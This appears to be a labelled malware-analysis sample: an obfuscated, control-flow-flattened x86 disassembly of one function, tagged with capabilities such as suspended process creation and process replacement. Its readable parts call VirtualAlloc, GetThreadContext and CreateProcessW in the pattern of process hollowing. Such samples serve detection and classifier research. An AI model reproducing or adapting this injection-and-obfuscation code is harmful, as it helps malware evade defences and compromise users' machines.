Function at 0x10002e10
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x100
mov eax, dword [0x10067800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10068b28]
mov eax, dword [0x10068b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x102], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x101], al
mov dword [ebp - 0x108], 0x7531c3d8
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x10c], eax
sub eax, 0x8068881b
je 0x100061b7
jmp 0x10002e83
mov eax, dword [ebp - 0x10c]
sub eax, 0x809eae3d
je 0x100070df
jmp 0x10002e99
mov eax, dword [ebp - 0x10c]
sub eax, 0x81aeb9b4
je 0x10006d58
jmp 0x10002eaf
mov eax, dword [ebp - 0x10c]
sub eax, 0x83e2c7c2
je 0x10005bed
jmp 0x10002ec5
mov eax, dword [ebp - 0x10c]
sub eax, 0x83e5d0f5
je 0x10009c44
jmp 0x10002edb
mov eax, dword [ebp - 0x10c]
sub eax, 0x844eab72
je 0x1000725c
jmp 0x10002ef1
mov eax, dword [ebp - 0x10c]
sub eax, 0x84af6d6f
je 0x1000a093
jmp 0x10002f07
mov eax, dword [ebp - 0x10c]
sub eax, 0x85df653d
je 0x100074f4
jmp 0x10002f1d
mov eax, dword [ebp - 0x10c]
sub eax, 0x85fc92ed
je 0x1000723f
jmp 0x10002f33
mov eax, dword [ebp - 0x10c]
sub eax, 0x8623488e
je 0x1000570d
jmp 0x10002f49
mov eax, dword [ebp - 0x10c]
sub eax, 0x86a061b4
je 0x10009b8e
jmp 0x10002f5f
mov eax, dword [ebp - 0x10c]
sub eax, 0x871ead13
je 0x100068cd
jmp 0x10002f75
mov eax, dword [ebp - 0x10c]
sub eax, 0x87ce8e41
je 0x100064e1
jmp 0x10002f8b
mov eax, dword [ebp - 0x10c]
sub eax, 0x87f96a7d
je 0x10009f64
jmp 0x10002fa1
mov eax, dword [ebp - 0x10c]
sub eax, 0x88186819
je 0x100073bc
jmp 0x10002fb7
mov eax, dword [ebp - 0x10c]
sub eax, 0x89726e5d
je 0x100058e3
jmp 0x10002fcd
mov eax, dword [ebp - 0x10c]
sub eax, 0x89a67053
je 0x10006708
jmp 0x10002fe3
mov eax, dword [ebp - 0x10c]
sub eax, 0x8a216512
je 0x1000a706
jmp 0x10002ff9
mov eax, dword [ebp - 0x10c]
sub eax, 0x8a2317d4
je 0x10005cfc
jmp 0x1000300f
mov eax, dword [ebp - 0x10c]
sub eax, 0x8a4781d1
je 0x1000833f
jmp 0x10003025
mov eax, dword [ebp - 0x10c]
sub eax, 0x8c39e06a
je 0x10008bdb
jmp 0x1000303b
mov eax, dword [ebp - 0x10c]
sub eax, 0x8ca95e56
je 0x10007a15
jmp 0x10003051
mov eax, dword [ebp - 0x10c]
sub eax, 0x8ce519c7
je 0x10007953
jmp 0x10003067
mov eax, dword [ebp - 0x10c]
sub eax, 0x8d4679b0
je 0x1000739b
jmp 0x1000307d
mov eax, dword [ebp - 0x10c]
sub eax, 0x8d8321a0
je 0x10008893
jmp 0x10003093
mov eax, dword [ebp - 0x10c]
sub eax, 0x8dd42889
je 0x100096a8
jmp 0x100030a9
mov eax, dword [ebp - 0x10c]
sub eax, 0x8fb3935b
je 0x1000a295
jmp 0x100030bf
mov eax, dword [ebp - 0x10c]
sub eax, 0x8fe6b9f8
je 0x10009657
jmp 0x100030d5
mov eax, dword [ebp - 0x10c]
sub eax, 0x91e325e3
je 0x1000541a
jmp 0x100030eb
mov eax, dword [ebp - 0x10c]
sub eax, 0x92d54f78
je 0x10008cc7
jmp 0x10003101
mov eax, dword [ebp - 0x10c]
sub eax, 0x962cc0ff
je 0x1000883e
jmp 0x10003117
mov eax, dword [ebp - 0x10c]
sub eax, 0x96ea4e3c
je 0x100063fa
jmp 0x1000312d
mov eax, dword [ebp - 0x10c]
sub eax, 0x97798916
je 0x10007c16
jmp 0x10003143
mov eax, dword [ebp - 0x10c]
sub eax, 0x9924901f
je 0x1000939c
jmp 0x10003159
mov eax, dword [ebp - 0x10c]
sub eax, 0x9988f7e8
je 0x1000a601
jmp 0x1000316f
mov eax, dword [ebp - 0x10c]
sub eax, 0x99aa057a
je 0x10007974
jmp 0x10003185
mov eax, dword [ebp - 0x10c]
sub eax, 0x99fe0b36
je 0x10006e29
jmp 0x1000319b
mov eax, dword [ebp - 0x10c]
sub eax, 0x9a9be9f5
je 0x100064ae
jmp 0x100031b1
mov eax, dword [ebp - 0x10c]
sub eax, 0x9abd43aa
je 0x10008280
jmp 0x100031c7
mov eax, dword [ebp - 0x10c]
sub eax, 0x9b2f9a70
je 0x100090d7
jmp 0x100031dd
mov eax, dword [ebp - 0x10c]
sub eax, 0x9bfc1ace
je 0x10009dda
jmp 0x100031f3
mov eax, dword [ebp - 0x10c]
sub eax, 0x9ce5755d
je 0x10007915
jmp 0x10003209
mov eax, dword [ebp - 0x10c]
sub eax, 0x9dac49e2
je 0x100058a1
jmp 0x1000321f
mov eax, dword [ebp - 0x10c]
sub eax, 0x9e9e076c
je 0x1000a3dc
jmp 0x10003235
mov eax, dword [ebp - 0x10c]
sub eax, 0x9f518f57
je 0x10006dd8
jmp 0x1000324b
mov eax, dword [ebp - 0x10c]
sub eax, 0xa1b20022
je 0x1000727d
jmp 0x10003261
mov eax, dword [ebp - 0x10c]
sub eax, 0xa1b86717
je 0x10005916
jmp 0x10003277
mov eax, dword [ebp - 0x10c]
sub eax, 0xa266c11f
je 0x1000568d
jmp 0x1000328d
mov eax, dword [ebp - 0x10c]
sub eax, 0xa31c4412
je 0x10007645
jmp 0x100032a3
mov eax, dword [ebp - 0x10c]
sub eax, 0xa368c507
je 0x10008183
jmp 0x100032b9
mov eax, dword [ebp - 0x10c]
sub eax, 0xa42fed77
je 0x100085b0
jmp 0x100032cf
mov eax, dword [ebp - 0x10c]
sub eax, 0xa5119788
je 0x10005a7a
jmp 0x100032e5
mov eax, dword [ebp - 0x10c]
sub eax, 0xa5946cb8
je 0x10009dcb
jmp 0x100032fb
mov eax, dword [ebp - 0x10c]
sub eax, 0xa62f300c
je 0x10006900
jmp 0x10003311
mov eax, dword [ebp - 0x10c]
sub eax, 0xa65eef53
je 0x1000a87d
jmp 0x10003327
mov eax, dword [ebp - 0x10c]
sub eax, 0xa7848036
je 0x1000a7bb
jmp 0x1000333d
mov eax, dword [ebp - 0x10c]
sub eax, 0xa880d936
je 0x100097c6
jmp 0x10003353
mov eax, dword [ebp - 0x10c]
sub eax, 0xa88ac32e
je 0x1000a53e
jmp 0x10003369
mov eax, dword [ebp - 0x10c]
sub eax, 0xa8af1924
je 0x10006d07
jmp 0x1000337f
mov eax, dword [ebp - 0x10c]
sub eax, 0xa8ddc082
je 0x10005b0c
jmp 0x10003395
mov eax, dword [ebp - 0x10c]
sub eax, 0xa9327d19
je 0x10007557
jmp 0x100033ab
mov eax, dword [ebp - 0x10c]
sub eax, 0xa9e1e964
je 0x100079d3
jmp 0x100033c1
mov eax, dword [ebp - 0x10c]
sub eax, 0xaaeb5d8f
je 0x1000610b
jmp 0x100033d7
mov eax, dword [ebp - 0x10c]
sub eax, 0xaaf9f6a8
je 0x1000a2b6
jmp 0x100033ed
mov eax, dword [ebp - 0x10c]
sub eax, 0xac40f146
je 0x100076c5
mov dword [ebp - 0x108], 0x69520534
jmp 0x1000aa24
mov dword [ebp - 0x108], 0x53fcc15
jmp 0x1000aa24
mov dword [ebp - 0x108], 0x444a3455
jmp 0x1000aa24
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001737c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10017378]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x17dc2784
jmp 0x1000aa24
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10017374]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10017370]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xa1b86717
jmp 0x1000aa24
mov ecx, dword [0x10068b28]
mov eax, dword [0x10068b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x10cfebbd
mov ecx, 0x6e133322
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100171f0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100171ec]
movss dword [eax], xmm0
mov ecx, dword [0x10068b28]
mov eax, dword [0x10068b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x331303ce
mov ecx, 0xa8ddc082
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov dword [ebp - 0x108], 0xc639f1a7
jmp 0x1000aa24
mov dl, 1
mov eax, 0x786dc4a6
mov ecx, 0xbfd80162
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov dword [ebp - 0x108], 0x786dc4a6
jmp 0x1000aa24
mov dl, 1
mov eax, 0x3201ee30
mov ecx, 0xe0796f0b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100171dc]
movss dword [eax], xmm0
mov ecx, dword [0x10068b28]
mov eax, dword [0x10068b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x17f22f6a
mov ecx, 0x24462215
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100171d8]
movss dword [eax], xmm0
mov ecx, dword [0x10068b28]
mov eax, dword [0x10068b24]
mov edx, ecx
add edx, 0x54d40702
sub edx, 1
sub edx, 0x54d40702
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xef2def62
mov ecx, 0xc897d5f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10017338]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10017334]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x87ce8e41
jmp 0x1000aa24
mov eax, dword [0x10068b28]
mov ecx, dword [0x10068b24]
mov edx, eax
sub edx, 0x9e34dd31
sub edx, 1
add edx, 0x9e34dd31
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6a835185
mov ecx, 0xf4944af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100171d4]
movss dword [eax], xmm0
mov eax, dword [0x10068b28]
mov ecx, dword [0x10068b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x74084b5f
mov ecx, 0xecc357a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001730c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10017308]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xa62f300c
jmp 0x1000aa24
mov eax, dword [0x10068b28]
mov ecx, dword [0x10068b24]
mov edx, eax
sub edx, 0xdbb758a0
sub edx, 1
add edx, 0xdbb758a0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5484067a
mov ecx, 0x585dd782
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov eax, dword [0x10068b28]
mov ecx, dword [0x10068b24]
mov edx, eax
sub edx, 0x2bf9607c
sub edx, 1
add edx, 0x2bf9607c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xadfc7de0
mov ecx, 0x81aeb9b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100171c4]
movss dword [eax], xmm0
mov ecx, dword [0x10068b28]
mov eax, dword [0x10068b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xadfc7de0
mov ecx, 0x9f518f57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov dword [ebp - 0x108], 0x144ca0
jmp 0x1000aa24
mov dl, 1
mov eax, 0x799c6307
mov ecx, 0xc2557870
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100172d0]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xd3f5f185
jmp 0x1000aa24
mov dl, 1
mov eax, 0x22f07cb
mov ecx, 0x844eab72
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100172c4]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xa1b20022
jmp 0x1000aa24
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100172c0]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x22f07cb
jmp 0x1000aa24
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100172b8]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x88186819
jmp 0x1000aa24
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100172b4]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x24b01c94
jmp 0x1000aa24
mov dword [ebp - 0x108], 0x412705d6
jmp 0x1000aa24
mov ecx, dword [0x10068b28]
mov eax, dword [0x10068b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc24d7717
mov ecx, 0x6a714db6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100172a0]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x2e6d20eb
jmp 0x1000aa24
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10017280]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x6b31c5a4
jmp 0x1000aa24
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001727c]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x99aa057a
jmp 0x1000aa24
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10017278]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xd1620d66
jmp 0x1000aa24
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10017270]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x5c4b1f5c
jmp 0x1000aa24
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x10017268]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x10017264]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x10017260]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xcd1e1635
jmp 0x1000aa24
mov dl, 1
mov eax, 0x67ea7b47
mov ecx, 0x393e5afd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov eax, dword [0x10068b28]
mov ecx, dword [0x10068b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x62176f89
mov ecx, 0x23bc9f73
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov eax, dword [0x10068b28]
mov ecx, dword [0x10068b24]
mov edx, eax
add edx, 0x38c4f658
sub edx, 1
sub edx, 0x38c4f658
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd671c53f
mov ecx, 0x609c33fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov dl, 1
mov eax, 0x5140ad67
mov ecx, 0x6176e563
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10017210]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xc9cc658d
jmp 0x1000aa24
mov dword [ebp - 0x108], 0xbca7ef50
jmp 0x1000aa24
mov ecx, dword [0x10068b28]
mov eax, dword [0x10068b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb95f374
mov ecx, 0x936aa64
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x7d], al
mov dword [ebp - 0x108], 0xf017a41a
jmp 0x1000aa24
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100025d0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x78], eax
mov eax, dword [0x10068b28]
mov ecx, dword [0x10068b24]
mov edx, eax
add edx, 0xb3eafb4d
sub edx, 1
sub edx, 0xb3eafb4d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1a238d57
mov ecx, 0xd264dac8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov edx, dword [ebp - 0x64]
mov esi, dword [ebp - 0x60]
mov eax, 0xbc566bf2
mov ecx, 0x27fd3cc0
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
sub eax, 0x9466efa8
add eax, 1
add eax, 0x9466efa8
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x108], 0xe5ea7386
jmp 0x1000aa24
mov eax, dword [0x10068b28]
mov ecx, dword [0x10068b24]
mov edx, eax
sub edx, 0xc6c59d3
sub edx, 1
add edx, 0xc6c59d3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x76169252
mov ecx, 0x8dd42889
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov dword [ebp - 0x108], 0xf0f1aaee
jmp 0x1000aa24
mov dl, byte [ebp - 0x3d]
mov eax, 0xfc47b3f3
mov ecx, 0xc469dd50
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov dword [ebp - 0x108], 0x76321d30
jmp 0x1000aa24
mov ecx, dword [0x10068b28]
mov eax, dword [0x10068b24]
mov edx, ecx
sub edx, 0xf7e9064d
sub edx, 1
add edx, 0xf7e9064d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4a22e742
mov ecx, 0xcab2057d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov dword [ebp - 0x108], 0x9bfc1ace
jmp 0x1000aa24
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x108], 0xfeadc52a
jmp 0x1000aa24
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov edx, dword [eax + 4]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [0x10068b28]
mov ecx, dword [0x10068b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe309f781
mov ecx, 0xdd359aea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000aa24
mov dword [ebp - 0x108], 0x3085556b
jmp 0x1000aa24
mov dword [ebp - 0x108], 0xe8ec78c9
jmp 0x1000aa24
mov dword [ebp - 0x108], 0xeec8357e
jmp 0x1000aa24
mov dword [ebp - 0x108], 0x6906264a
jmp 0x1000aa24
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100171c0]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x59da67ee
jmp 0x1000aa24
mov dword [ebp - 0x108], 0x402feb7c
jmp 0x1000aa24
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10017190]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x7580b39e
jmp 0x1000aa24
mov eax, dword [ebp - 0xc4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xcc]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x108], 0xe9f10ed1
jmp 0x1000aa24
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x108], 0xf8bdb780
jmp 0x1000aa24
jmp 0x10002e67